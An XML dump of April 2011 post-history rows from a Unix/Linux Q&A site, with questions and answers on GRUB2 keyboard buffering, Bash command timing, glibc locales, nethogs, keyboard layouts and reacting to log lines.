  <row Id="29474" PostHistoryTypeId="2" PostId="12063" RevisionGUID="37a5c665-2817-42b0-936e-58fa82e17b6d" CreationDate="2011-04-26T18:13:27.010" UserId="4518" Text="For fun and laziness, I've got 20 entries in my GRUB2 menu. To get to the bottom one quickly, I tap down-arrow a couple of times during the GRUB loading screen. I can press the key 15 times (+/- 1, don't remember) -- the next press, GRUB beeps and the menu choice isn't affected.&#xD;&#xA;&#xD;&#xA;Why would someone put the limit at 2^4 on a 64-bit processor? Is it even a GRUB problem, or is it caused by keyboard queuing?" />
  <row Id="29475" PostHistoryTypeId="1" PostId="12063" RevisionGUID="37a5c665-2817-42b0-936e-58fa82e17b6d" CreationDate="2011-04-26T18:13:27.010" UserId="4518" Text="Why can GRUB2 only remember 4 bits?" />
  <row Id="29476" PostHistoryTypeId="3" PostId="12063" RevisionGUID="37a5c665-2817-42b0-936e-58fa82e17b6d" CreationDate="2011-04-26T18:13:27.010" UserId="4518" Text="égrub2à" />
  <row Id="29477" PostHistoryTypeId="2" PostId="12064" RevisionGUID="497200c1-e0d0-4f5e-b59b-080170a6054f" CreationDate="2011-04-26T18:16:47.487" UserId="3447" Text="I believe that you would use `/etc/dhclient.conf` which isn't created by default, so you would create it yourself of course.&#xD;&#xA;&#xD;&#xA;From reading the `dhclient` man page, you could also run `dhclient` with the `-cf` flag to specify a config file.  &#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    dhclient -cf ~/dhclient.conf" />
  <row Id="29478" PostHistoryTypeId="2" PostId="12065" RevisionGUID="9f560348-a219-443b-ba40-b010a1913042" CreationDate="2011-04-26T18:21:25.703" UserId="6968" Text="I've installed FreeBSD on an Intel SS4200-EHW which has four hard disks and a flash DOM (Disk On Module) disk through an IDE interface. I want to install FreeBSD on the Flash DOM. In order to get the FreeBSD installer to find the Flash DOM, I've used the hints from [here][1] - by adding the following &quot;hints&quot; before &quot;booting&quot; the installer:&#xD;&#xA;&#xD;&#xA;    set hint.ata.0.at=&quot;isa&quot;&#xD;&#xA;    set hint.ata.0.port=&quot;0x1F0&quot;&#xD;&#xA;    set hint.ata.0.irq=&quot;14&quot;&#xD;&#xA;&#xD;&#xA;The installer finds the correct disk and installs without any issues. I also made sure the disk/partition is set with the bootable flag. &#xD;&#xA;&#xD;&#xA;When I boot from the Flash DOM, I get the following error message: &quot;No ufs&quot; and end up with a prompt starting with &quot;boot:&quot;.&#xD;&#xA;&#xD;&#xA;Not sure why this is. Might be that I wasn't able to persist the hint information to any configurations files during the install. Anyone knowing how I can ensure that this get persisted. Any other way to get further to diagnose this issue?&#xD;&#xA;&#xD;&#xA;  [1]: http://ss4200.pbworks.com/w/page/5122750/FreeNAS-0_70" />
  <row Id="29479" PostHistoryTypeId="1" PostId="12065" RevisionGUID="9f560348-a219-443b-ba40-b010a1913042" CreationDate="2011-04-26T18:21:25.703" UserId="6968" Text="Failed to boot a fresh FreeBSD 8.2 installation on an Intel SS4200-EHW" />
  <row Id="29480" PostHistoryTypeId="3" PostId="12065" RevisionGUID="9f560348-a219-443b-ba40-b010a1913042" CreationDate="2011-04-26T18:21:25.703" UserId="6968" Text="éinstallàébootàéfreebsdàébootöloaderà" />
  <row Id="29481" PostHistoryTypeId="2" PostId="12066" RevisionGUID="b1335411-88fb-4d74-a1c6-b82532114937" CreationDate="2011-04-26T18:33:03.677" UserId="6761" Text="Rather than a book or tutorial, you might want to look at some of the init scripts that start up your machine. Understanding these will give you a good grounding in bash scripting and provide you with a lot more insight into how your machine runs -- and what you can do when it doesn't...&#xD;&#xA;&#xD;&#xA;You can read a general overview of the whole process in this article, [From Power Up to Bash Prompt][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://users.cecs.anu.edu.au/~okeefe/p2b/power2bash/power2bash.html" />
  <row Id="29482" PostHistoryTypeId="2" PostId="12067" RevisionGUID="afdfff03-45d9-4089-a9cf-5b0f4f75d5e7" CreationDate="2011-04-26T19:02:22.127" UserId="6215" Text="I'm using `sudo nethogs` command for watching network traffic. Now I have a problem that the name of the program is too long (it doesn't fit to the PROGRAM column).&lt;br&gt;&#xD;&#xA;I haven't found any nethogs switch dealing with this issue. Do you know how to see the whole name of the process?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="29483" PostHistoryTypeId="1" PostId="12067" RevisionGUID="afdfff03-45d9-4089-a9cf-5b0f4f75d5e7" CreationDate="2011-04-26T19:02:22.127" UserId="6215" Text="Whole program name not visible in nethogs" />
  <row Id="29484" PostHistoryTypeId="3" PostId="12067" RevisionGUID="afdfff03-45d9-4089-a9cf-5b0f4f75d5e7" CreationDate="2011-04-26T19:02:22.127" UserId="6215" Text="écommandölineàénetworkingà" />
  <row Id="29485" PostHistoryTypeId="2" PostId="12068" RevisionGUID="68841152-df91-4d75-9b60-003ef1ee1516" CreationDate="2011-04-26T19:17:59.370" UserId="5462" Text="In order to find out how long certain operations within a Bash (v4+) script take, I would like to parse the output from the `time` command &quot;separately&quot; and (ultimately) capture it within a Bash variable (`let VARNAME=...`).&#xD;&#xA;&#xD;&#xA;Now, I am using `time -f '%e' ...` (or rather `command time -f '%e' ...` because of the Bash built-in), but since I already redirect the output of the executed command I'm really lost as to how I would go about to capture the output of the `time` command. Basically the problem here is *to separate the output* of `time` from the output of the executed command(s).&#xD;&#xA;&#xD;&#xA;What I want is the *functionality* of counting the amount of time in seconds (integers) between starting a command and its completion. It doesn't have to be the `time` command or the respective built-in." />
  <row Id="29486" PostHistoryTypeId="1" PostId="12068" RevisionGUID="68841152-df91-4d75-9b60-003ef1ee1516" CreationDate="2011-04-26T19:17:59.370" UserId="5462" Text="How to measure time of program execution and store that inside a variable" />
  <row Id="29487" PostHistoryTypeId="3" PostId="12068" RevisionGUID="68841152-df91-4d75-9b60-003ef1ee1516" CreationDate="2011-04-26T19:17:59.370" UserId="5462" Text="ébashàéshellöscriptàétimeà" />
  <row Id="29488" PostHistoryTypeId="2" PostId="12069" RevisionGUID="8af8ae75-6446-4b7e-b820-cee04d99d9e4" CreationDate="2011-04-26T19:33:19.357" UserId="6890" Text="To get the output of `time` into a var use the following:&#xD;&#xA;&#xD;&#xA;    usr@srv $ mytime=&quot;$(time ( ls ) 2&gt;&amp;1 1&gt;/dev/null )&quot;&#xD;&#xA;    usr@srv $ echo &quot;$mytime&quot;&#xD;&#xA;    &#xD;&#xA;    real    0m0.006s&#xD;&#xA;    user    0m0.001s&#xD;&#xA;    sys     0m0.005s&#xD;&#xA;&#xD;&#xA;You can also just ask for a single time type, e.g. utime:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    usr@srv $ utime=&quot;$( TIMEFORMAT='%lU';time ( ls ) 2&gt;&amp;1 1&gt;/dev/null )&quot;&#xD;&#xA;    usr@srv $ echo &quot;$utime&quot;&#xD;&#xA;    0m0.000s&#xD;&#xA;&#xD;&#xA;Hope that helps.&#xD;&#xA;" />
  <row Id="29489" PostHistoryTypeId="2" PostId="12070" RevisionGUID="1beae294-6003-481f-ac8c-656ca7b5f6d7" CreationDate="2011-04-26T19:43:07.333" UserId="6969" Text="With time, the command output comes out on stdout and the time comes out on stderr. So, to separate them, you can do:&#xD;&#xA;&#xD;&#xA;    command time -f '%e' [command] 1&gt;[command output file] 2&gt;[time output file]&#xD;&#xA;&#xD;&#xA;But, now the time is in a file. I don't think Bash is able to put stderr in a variable directly. If you don't mind redirecting the command's output somewhere, you can do:&#xD;&#xA;    &#xD;&#xA;    FOO=$((( command time -f '%e' [command]; ) 1&gt;outputfile; ) 2&gt;&amp;1; )&#xD;&#xA;&#xD;&#xA;When you do this, the command's output will be in `outputfile` and the time it took to run will be in `$FOO`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29490" PostHistoryTypeId="5" PostId="12069" RevisionGUID="ec5d56b9-7bf5-46b3-8ad7-c3d93c0b2a5b" CreationDate="2011-04-26T19:46:23.057" UserId="6890" Comment="added 237 characters in body" Text="To get the output of `time` into a var use the following:&#xD;&#xA;&#xD;&#xA;    usr@srv $ mytime=&quot;$(time ( ls ) 2&gt;&amp;1 1&gt;/dev/null )&quot;&#xD;&#xA;    usr@srv $ echo &quot;$mytime&quot;&#xD;&#xA;    &#xD;&#xA;    real    0m0.006s&#xD;&#xA;    user    0m0.001s&#xD;&#xA;    sys     0m0.005s&#xD;&#xA;&#xD;&#xA;You can also just ask for a single time type, e.g. utime:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    usr@srv $ utime=&quot;$( TIMEFORMAT='%lU';time ( ls ) 2&gt;&amp;1 1&gt;/dev/null )&quot;&#xD;&#xA;    usr@srv $ echo &quot;$utime&quot;&#xD;&#xA;    0m0.000s&#xD;&#xA;&#xD;&#xA;To get the time you can also use `date +%s.%N`, so take it before and after execution and calculate the diff:&#xD;&#xA;&#xD;&#xA;    START=$(date +%s.%N)&#xD;&#xA;    command&#xD;&#xA;    END=$(date +%s.%N)&#xD;&#xA;    DIFF=$(echo &quot;$END - $START&quot; | bc)&#xD;&#xA;    # echo $DIFF&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope that helps.&#xD;&#xA;" />
  <row Id="29491" PostHistoryTypeId="2" PostId="12071" RevisionGUID="517c105b-94c8-4abd-96fa-4714ca27d116" CreationDate="2011-04-26T19:53:58.043" UserId="5462" Text="The kernel sees the physical memory and provides a view to the processes. If you ever wondered how a process can have a 4 GB memory space if your whole machine got only 512 MB of RAM, that's why. Each process has its own virtual memory space. The addresses in that address space are mapped either to physical pages or to swap space. If to swap space, they'll have to be swapped back into physical memory before your process can access a page to modify it.&#xD;&#xA;&#xD;&#xA;The example from Torvalds in XQYZ's answer (DOS highmem) is not too far fetched, although I disagree about his conclusion that PAE is generally a bad thing. It solved specific problems and has its merits - but all of that is argumentative. For example the implementer of a library may not perceive the implementation as easy, while the user of that library may perceive this library as very useful and easy to use. Torvalds is an implementer, so he's bound to say what the statement says. For an end user this solves a problem and that's what the end user cares about.&#xD;&#xA;&#xD;&#xA;For one PAE helps solve another legacy problem on 32bit machines. It allows the kernel to map the full 4 GB of memory and work around the BIOS memory hole that exists on many machines and causes a pure 32bit kernel without PAE to &quot;see&quot; only 3.1 or 3.2 GB of memory, despite the physical 4 GB.&#xD;&#xA;&#xD;&#xA;Anyway, for the 64bit kernel it's a symmetrical relation between the page physical and the virtual pages (leaving swap space and other details aside). However, the PAE kernel maps between a 32bit pointer within the process' address space and a 36bit address in physical memory. More book-keeping is needed here. Keyword: &quot;Extended Page-Table&quot;. But this is somewhat more of a programming question. This is the main difference. More book-keeping compared to a full linear address space. For PAE it's chunks of 4 GB as you mentioned.&#xD;&#xA;&#xD;&#xA;Aside from that *both* PAE and 64bit allow for large pages (instead of the standard 4 KB pages in 32bit).&#xD;&#xA;&#xD;&#xA;Chapter 3 of Volume 1 of the **Intel Processor Manual** has some overview and Chapter 3 of Volume 3A (&quot;Protected Mode Memory Management&quot;) has more details, if you want to read up on it.&#xD;&#xA;&#xD;&#xA;&gt; To me it seems like this is a big&#xD;&#xA;&gt; distinction that seems to be ignored&#xD;&#xA;&gt; by many people.&#xD;&#xA;&#xD;&#xA;You're right. However, **the majority of people are users, not implementers**. That's why they won't care. And as long as you don't require huge amounts of memory for your application, many people don't care (especially since there are compatibility layers)." />
  <row Id="29492" PostHistoryTypeId="5" PostId="12051" RevisionGUID="26506451-558b-41cc-ae74-baf1941818d1" CreationDate="2011-04-26T20:01:36.883" UserId="885" Comment="added information about where glibc stores and documents locales" Text="All the locale variables use the same locale name so that you can specify your favorite locale in a single swoop, e.g. `LANG=en_AU.utf8`. As you surmise, the country information is occasionally relevant even in `LC_CTYPE`, e.g. the uppercase version of `i` is `I` in most languages but `İ` in Turkish (`tr_TR.utf8`). But don't expect miracles; for example the lowercase-uppercase correspondence is one-to-one, so there's no good uppercase version of `ß` in `de_DE.iso8859-1` (it should be `SS`).&#xD;&#xA;&#xD;&#xA;You'll have an easier time understanding the output of `locale -k LC_CTYPE`, with `-k` to see the keyword names in addition to the values (without `-k`, the output format is designed so you can get the value of a specific keyword, e.g. `locale ctype-width`). The list of keywords and their meanings is system-dependent, as is the way locale data is stored, and doesn't interest many people, so you may not find much documentation outside the source code of your C library. By far the most useful form of the locale command is `locale -a` to list available locale names.&#xD;&#xA;&#xD;&#xA;For [GNU libc](http://www.gnu.org/software/libc/) (i.e. non-embedded Linux):&#xD;&#xA;&#xD;&#xA;* All locale data other than messages is stored in `/usr/lib/locale/locale-archive`. This file is generated by [`localedef`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/localedef.html) from data in `/usr/share/i18n` and `/usr/local/share/i18n`. The format of the locale definition files in `/usr/share/i18n/locales` is only documented in the source code, I think.&#xD;&#xA;* The format of the character set and encoding definition files in `/usr/share/i18n/charmaps` is [standardized by POSIX:2001](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap06.html#tag_06_04). These files (or, in [GNU libc](http://www.gnu.org/software/libc/manual/html_node/Generic-Charset-Conversion.html), the compiled version in `/usr/lib/locale/locale-archive`) are used by the [iconv](http://en.wikipedia.org/wiki/Iconv) [programming](http://pubs.opengroup.org/onlinepubs/009695399/functions/iconv.html) and [commmand line](http://pubs.opengroup.org/onlinepubs/009695399/utilities/iconv.html) facility. Encoding conversions also rely on code in `/usr/lib/gconv/*.so`. The Gnu libc manual documents [how to write your own gconv module](http://www.gnu.org/software/libc/manual/html_node/glibc-iconv-Implementation.html), though that section contains the text “This information should be sufficient to write new modules. Anybody doing so should also take a look at the available source code in the GNU C library sources.”.&#xD;&#xA;* Message catalogs get special treatment because each application comes with its own set. Message catalogs live in `/usr/share/locale/*/LC_MESSAGES`. The manual contains [documentation for application writers](http://www.gnu.org/software/libc/manual/html_node/Message-Translation.html). GNU libc supports both the [POSIX interface `catgets`](http://pubs.opengroup.org/onlinepubs/009695399/functions/catgets.html) and the more powerful [gettext interface](http://en.wikipedia.org/wiki/Gettext).&#xD;&#xA;&#xD;&#xA;Written languages are indeed very complicated, even if you don't stray far from English. Are the French and German `ü` the same character (is a [“tréma”](http://en.wikipedia.org/wiki/Trema_%28diacritic%29#French) exactly the same as an [“umlaut”](http://en.wikipedia.org/wiki/Trema_%28diacritic%29#Umlaut), and does it matter that French and German printers typeset the accent at a slightly different height)? What is the uppercase of `i` (it's `İ` in Turkish)? Does `Ö` transliterate to `O` if you only have ASCII (in German, it's `OE`)? Where is `Ä` sorted in a dictionary (in Swedish, it's after `Z`)? And that's just a few examples with European languages written in the latin alphabet! The [Unicode mailing list](http://unicode.org/consortium/distlist.html) has a lot of examples and sometimes heated discussions on such topics.&#xD;&#xA;" />
  <row Id="29493" PostHistoryTypeId="5" PostId="12068" RevisionGUID="7c7499d6-b67d-4c47-92b1-866cd900066f" CreationDate="2011-04-26T20:05:29.843" UserId="5462" Comment="adding clarifications about the question" Text="In order to find out how long certain operations within a Bash (v4+) script take, I would like to parse the output from the `time` command &quot;separately&quot; and (ultimately) capture it within a Bash variable (`let VARNAME=...`).&#xD;&#xA;&#xD;&#xA;Now, I am using `time -f '%e' ...` (or rather `command time -f '%e' ...` because of the Bash built-in), but since I already redirect the output of the executed command I'm really lost as to how I would go about to capture the output of the `time` command. Basically the problem here is *to separate the output* of `time` from the output of the executed command(s).&#xD;&#xA;&#xD;&#xA;What I want is the *functionality* of counting the amount of time in seconds (integers) between starting a command and its completion. It doesn't have to be the `time` command or the respective built-in.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*Edit:* given the two useful answers below, I wanted to add two clarifications.&#xD;&#xA;&#xD;&#xA;  1. I do not want to throw away the output of the executed command, but it will not really matter whether it ends up on stdout or stderr.&#xD;&#xA;  2. I would prefer a direct approach over an indirect one (i.e. catching output directly as opposed to store it in intermediate files).&#xD;&#xA;&#xD;&#xA;The solution using `date` so far comes closes to what I want." />
  <row Id="29494" PostHistoryTypeId="5" PostId="12067" RevisionGUID="f5154506-8090-45ff-b89e-373a595bacab" CreationDate="2011-04-26T20:05:49.893" UserId="1925" Comment="Some small English fixes for clarity" Text="I'm using the command `sudo nethogs` to watch network traffic. I have a problem in that the name of the program is too long (it doesn't fit in the PROGRAM column).&#xD;&#xA;&#xD;&#xA;I haven't found any nethogs configuration switch dealing with this issue. Do you know how to see the whole name of the process?" />
  <row Id="29495" PostHistoryTypeId="24" PostId="12067" RevisionGUID="f5154506-8090-45ff-b89e-373a595bacab" CreationDate="2011-04-26T20:05:49.893" Comment="Proposed by 1925 approved by 885 edit id of 332" />
  <row Id="29496" PostHistoryTypeId="6" PostId="12067" RevisionGUID="60bda5da-5500-4a68-96a2-0ce11bede319" CreationDate="2011-04-26T20:37:45.167" UserId="885" Comment="edited tags" Text="écommandölineàénetworkingàénethogsà" />
  <row Id="29497" PostHistoryTypeId="2" PostId="12072" RevisionGUID="d5a7231d-c2ed-43bf-a1c4-4afc9d29fec1" CreationDate="2011-04-26T21:08:08.777" UserId="2320" Text="I'm wondering is there any command line tool, that returns current keyboard layout.&#xD;&#xA;&#xD;&#xA;I have XkbLayout set to &quot;us, ru&quot;." />
  <row Id="29498" PostHistoryTypeId="1" PostId="12072" RevisionGUID="d5a7231d-c2ed-43bf-a1c4-4afc9d29fec1" CreationDate="2011-04-26T21:08:08.777" UserId="2320" Text="How do I get current keyboard layout?" />
  <row Id="29499" PostHistoryTypeId="3" PostId="12072" RevisionGUID="d5a7231d-c2ed-43bf-a1c4-4afc9d29fec1" CreationDate="2011-04-26T21:08:08.777" UserId="2320" Text="élinuxàéxorgàékeyboardà" />
  <row Id="29500" PostHistoryTypeId="25" PostId="12068" RevisionGUID="78a8f5ab-5b4b-4baa-9eeb-cb8f2fb236d5" CreationDate="2011-04-26T21:09:12.267" Comment="http://twitter.com/#!/StackUnix/status/62986607006990337" />
  <row Id="29501" PostHistoryTypeId="2" PostId="12073" RevisionGUID="bb2a642d-3593-4b5f-84f6-8ef4e80276a4" CreationDate="2011-04-26T21:10:04.777" UserId="885" Text="In bash, the output of the `time` construct goes to its standard error, and you can redirect the standard error of the pipeline it affects. So let's start with a command that writes to its output and error streamas: `sh -c 'echo out; echo 1&gt;&amp;2 err'`. In order not to mix up the command's error stream with the output from `time`, we can temporarily divert the command's error stream to a different file descriptor:&#xD;&#xA;&#xD;&#xA;    { time -p sh -c 'echo out; echo 1&gt;&amp;2 err' 2&gt;&amp;3; }&#xD;&#xA;&#xD;&#xA;This writes `out` to fd 1, `err` to fd 3, and the times to fd 2:&#xD;&#xA;&#xD;&#xA;    { time -p sh -c 'echo out; echo 1&gt;&amp;2 err' 2&gt;&amp;3; } \&#xD;&#xA;        3&gt; &gt;(sed 's/^/ERR:/') 2&gt; &gt;(sed 's/^/TIME:/') &gt; &gt;(sed 's/^/OUT:/')&#xD;&#xA;&#xD;&#xA;It would be more pleasant to have `err` on fd 2 and the times on fd 3, so we swap them, which is cumbersome because there's no direct way to swap two file descriptors: &#xD;&#xA;&#xD;&#xA;    { { { time -p sh -c 'echo out; echo 1&gt;&amp;2 err' 2&gt;&amp;3; } 3&gt;&amp;2 2&gt;&amp;4; } 4&gt;&amp;3; } 3&gt; &gt;(sed 's/^/TIME:/') 2&gt; &gt;(sed 's/^/ERR:/') &gt; &gt;(sed 's/^/OUT:/')&#xD;&#xA;&#xD;&#xA;This shows how you can postprocess the output of the command, but if you want to capture both the output of the command and its times, you need to work harder. Using a temporary file is one solution. In fact, it's the only reliable solution if you need to capture both the command's standard error and its standard output. But otherwise, you can capture the whole output and take advantage of the fact that `time` has a predictable format (if you use `time -p` to get the [POSIX format](http://pubs.opengroup.org/onlinepubs/009695399/utilities/time.html#tag_04_141_11) or the bash-specific `TIMEFORMAT` variable).&#xD;&#xA;&#xD;&#xA;    nl=$'\n'&#xD;&#xA;    output=$(TIMEFORMAT='%R %U %S %P'; mycommand)&#xD;&#xA;    set ${output##*$nl}; real_time=$1 user_time=$2 system_time=$3 cpu_percent=$4&#xD;&#xA;    output=${output%$nl*}&#xD;&#xA;&#xD;&#xA;If you only care about wall clock time, running `date` before and after is a simple solution (if slightly more imprecise due to the extra time spent loading the external command).&#xD;&#xA;" />
  <row Id="29502" PostHistoryTypeId="2" PostId="12074" RevisionGUID="dd4a22bd-f8a5-4b37-bb70-a92c5563eff6" CreationDate="2011-04-26T21:21:38.327" UserId="6761" Text="There is xkb-switch which is described thus:&#xD;&#xA;&#xD;&#xA;&gt; xkb-switch is a C++ program that&#xD;&#xA;&gt; allows to query and change the XKB&#xD;&#xA;&gt; layout state.&#xD;&#xA;&#xD;&#xA;https://github.com/ierton/xkb-switch" />
  <row Id="29503" PostHistoryTypeId="2" PostId="12075" RevisionGUID="26b13562-a70f-42d4-8295-f8f0b60db471" CreationDate="2011-04-26T21:26:36.033" UserId="3445" Text="I have a server log that outputs a specific line of text into its log file when the server is up. I want to execute a command once the server is up, and hence do something like the following:&#xD;&#xA;&#xD;&#xA;    tail -f /path/to/serverLog | grep &quot;server is up&quot; ...?&#xD;&#xA;&#xD;&#xA;What is the best way to do this?" />
  <row Id="29504" PostHistoryTypeId="1" PostId="12075" RevisionGUID="26b13562-a70f-42d4-8295-f8f0b60db471" CreationDate="2011-04-26T21:26:36.033" UserId="3445" Text="Best way to follow a log and execute a command when some text appears in the log" />
  <row Id="29505" PostHistoryTypeId="3" PostId="12075" RevisionGUID="26b13562-a70f-42d4-8295-f8f0b60db471" CreationDate="2011-04-26T21:26:36.033" UserId="3445" Text="élinuxàébashà" />
  <row Id="29506" PostHistoryTypeId="2" PostId="12076" RevisionGUID="b03010f4-7b23-405a-b3ea-98af1a70208e" CreationDate="2011-04-26T21:27:51.090" UserId="6803" Text="You can use:&#xD;&#xA;&#xD;&#xA;    setxkbmap -print | grep xkb_symbols" />
  <row Id="29507" PostHistoryTypeId="5" PostId="12075" RevisionGUID="5b5e50af-cd59-416f-acaa-3ccc363b87d5" CreationDate="2011-04-26T21:31:39.743" UserId="3445" Comment="added 27 characters in body" Text="I have a server log that outputs a specific line of text into its log file when the server is up. I want to execute a command once the server is up, and hence do something like the following:&#xD;&#xA;&#xD;&#xA;    tail -f /path/to/serverLog | grep &quot;server is up&quot; ...(now, e.g., wget on server)?&#xD;&#xA;&#xD;&#xA;What is the best way to do this?" />
  <row Id="29508" PostHistoryTypeId="2" PostId="12077" RevisionGUID="53761cfa-264e-4c1c-adbe-07f0715bed4d" CreationDate="2011-04-26T21:48:53.343" UserId="6167" Text="A simple way would be awk.&#xD;&#xA;&#xD;&#xA;    tail -f /path/to/serverLog | awk '/Printer is on fire!/ { system(&quot;shutdown -h now&quot;) }&#xD;&#xA;                                      /new USB high speed/ { system(&quot;echo New USB&quot; | mail admin&quot;)'&#xD;&#xA;&#xD;&#xA;And yes, both of those are real message from a kernel log.  Perl might be a little more elegant to use for this and can also replace the need for tail.  If using perl, it will look something like this:&#xD;&#xA;&#xD;&#xA;    open(my $fd, &quot;&lt;&quot;, &quot;/path/to/serverLog&quot;) or die &quot;Can't open log&quot;;&#xD;&#xA;    while(1) {&#xD;&#xA;        if(eof $dataFd) {&#xD;&#xA;            sleep 1;&#xD;&#xA;            $fd-&gt;clearerr;&#xD;&#xA;            next;&#xD;&#xA;        }&#xD;&#xA;        my $line = &lt;$fd&gt;;&#xD;&#xA;        chomp($line);&#xD;&#xA;        if($line =~ /Printer is on fire!/) {&#xD;&#xA;            system(&quot;shutdown -h now&quot;);&#xD;&#xA;        } elsif($line =~ /new USB high speed/) {&#xD;&#xA;            system(&quot;echo New USB&quot; | mail admin&quot;);&#xD;&#xA;        }&#xD;&#xA;    }" />
  <row Id="29509" PostHistoryTypeId="2" PostId="12078" RevisionGUID="c8c61c95-a4fc-4afe-8121-46d9bfcf69a9" CreationDate="2011-04-26T21:49:12.373" UserId="6175" Text="That's how i started doing this too but have become much more sophisticated with it. A couple things to be concerned with:&#xD;&#xA;&#xD;&#xA;1. If the tail of the log already contains &quot;server is up&quot;.&#xD;&#xA;1. Automatically ending the tail process once it's found.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;I use something along the lines of this:&#xD;&#xA;&#xD;&#xA;    RELEASE=/tmp/${RANDOM}$$&#xD;&#xA;    (&#xD;&#xA;      trap 'false' 1&#xD;&#xA;      trap &quot;rm -f ${RELEASE}&quot; 0&#xD;&#xA;      while ! [ -s ${RELEASE} ]; do sleep 3; done&#xD;&#xA;      # You can put code here if you want to do something&#xD;&#xA;      # once the grep succeeds.&#xD;&#xA;    ) &amp; wait_pid=$!&#xD;&#xA;    tail --pid=${wait_pid} -F /path/to/serverLog \&#xD;&#xA;    | sed &quot;1,10d&quot; \&#xD;&#xA;    | grep &quot;server is up&quot; &gt; ${RELEASE}&#xD;&#xA;&#xD;&#xA;It works by holding `tail` open until the `${RELEASE}` file contains data.&#xD;&#xA;&#xD;&#xA;Once the `grep` succeeds it:&#xD;&#xA;&#xD;&#xA;  1. writes the output to `${RELEASE}` which will&#xD;&#xA;  1. terminate the `${wait_pid}` process to&#xD;&#xA;  1. exit the `tail`&#xD;&#xA;&#xD;&#xA;Note: The `sed` can be more sophisticated to actually determine the number of lines `tail` will produce at startup and the remove that number. But generally, it's 10." />
  <row Id="29510" PostHistoryTypeId="2" PostId="12079" RevisionGUID="2b5de6bc-3d12-4843-bd42-73521236f35f" CreationDate="2011-04-26T21:50:34.290" UserId="885" Text="You can record the time a command line is started and the time a prompt is displayed. Bash already keeps track of the starting date of each command line in its history, and you can note the time when you display the next prompt.&#xD;&#xA;&#xD;&#xA;    print_command_wall_clock_time () {&#xD;&#xA;      echo Wall clock time: \&#xD;&#xA;        $(($(date +%s) - $(HISTTIMEFORMAT=&quot;%s &quot;;&#xD;&#xA;                           set -o noglob;&#xD;&#xA;                           set $(history 1); echo $2)))&#xD;&#xA;    }&#xD;&#xA;    PROMPT_COMMAND=print_command_wall_clock_time$'\n'&quot;$PROMPT_COMMAND&quot;&#xD;&#xA;&#xD;&#xA;This only gives you second resolution, and only the wall clock time. If you want better resolution, you need to use an external `date` command that supports the `%N` format for nanoseconds, and the `DEBUG` trap to call `date` before running the command to time.&#xD;&#xA;&#xD;&#xA;    call_date_before_command () {&#xD;&#xA;      date_before=$(date +%s.%N)&#xD;&#xA;    }&#xD;&#xA;    print_wall_clock_time () {&#xD;&#xA;      echo Wall clock time: \&#xD;&#xA;        $((date +&quot;$date_before - %s.%N&quot; | bc))&#xD;&#xA;    }&#xD;&#xA;    trap call_date_before_command DEBUG&#xD;&#xA;    PROMPT_COMMAND=print_command_wall_clock_time&#xD;&#xA;&#xD;&#xA;Even with the `DEBUG` trap, I don't think there's a way of automatically displaying processor times for each command, or being more discriminating than prompt to prompt.&#xD;&#xA;" />
  <row Id="29511" PostHistoryTypeId="2" PostId="12080" RevisionGUID="1834c170-b367-40ba-a053-791210fca0a7" CreationDate="2011-04-26T21:53:13.790" UserId="6167" Text="Most any bootloader relies heavily on the PC BIOS to control hardware.  GRUB2 is no different and it relies on the BIOS to monitor the keyboard and keep track of keystrokes.  Your seeing the limit of your BIOSes keyboard buffer.  I guess they decided if no one is asking for key strokes then there's no point to keeping more than 16 which I think is reasonable.  Until GRUB starting asking for keystrokes, the BIOS will not record more and instead beep at you." />
  <row Id="29512" PostHistoryTypeId="2" PostId="12081" RevisionGUID="9964f4bf-5cd6-4309-8678-da1ca8476fb4" CreationDate="2011-04-26T21:53:30.747" UserId="885" Text="Do you mean you press the key 15 times before Grub has time to process the first press? If so, that's the BIOS buffering the key presses. The BIOS probably has a fixed-size buffer whose size probably hasn't changed in &gt;30 years. (The API hasn't changed, the hardware has to some extent but for the BIOS's sake it'll emulate older hardware, and there isn't any demand for fancier behavior, so BIOS writers don't bother.)&#xD;&#xA;" />
  <row Id="29513" PostHistoryTypeId="6" PostId="12063" RevisionGUID="c1c0b5cc-0be3-492e-b132-be05dc454ebf" CreationDate="2011-04-26T21:53:48.000" UserId="885" Comment="edited tags" Text="égrub2àébiosà" />
  <row Id="29514" PostHistoryTypeId="6" PostId="12052" RevisionGUID="1a416718-dc5b-4697-92cd-7c7e40ceb073" CreationDate="2011-04-26T21:58:38.793" UserId="885" Comment="edited tags" Text="élinuxàésecurityàéprocessàémemoryà" />
  <row Id="29515" PostHistoryTypeId="2" PostId="12082" RevisionGUID="60824197-f3b6-4eaa-ab14-3ee0e70fb052" CreationDate="2011-04-26T21:59:17.213" UserId="6973" Text="I enter into copy mode and do a search of the tmux window buffer with `/`. This works great, except when I want to do a second search, the original search term appears at the search prompt and I have to erase it by pressing and holding down the DELETE key. CTRL-U doesn't seem to clear the line. Is there a faster way to clear the search term than DELETE?" />
  <row Id="29516" PostHistoryTypeId="1" PostId="12082" RevisionGUID="60824197-f3b6-4eaa-ab14-3ee0e70fb052" CreationDate="2011-04-26T21:59:17.213" UserId="6973" Text="When you type a search term in copy mode, is there a way to erase the search term with something like CTRL-U?" />
  <row Id="29517" PostHistoryTypeId="3" PostId="12082" RevisionGUID="60824197-f3b6-4eaa-ab14-3ee0e70fb052" CreationDate="2011-04-26T21:59:17.213" UserId="6973" Text="étmuxà" />
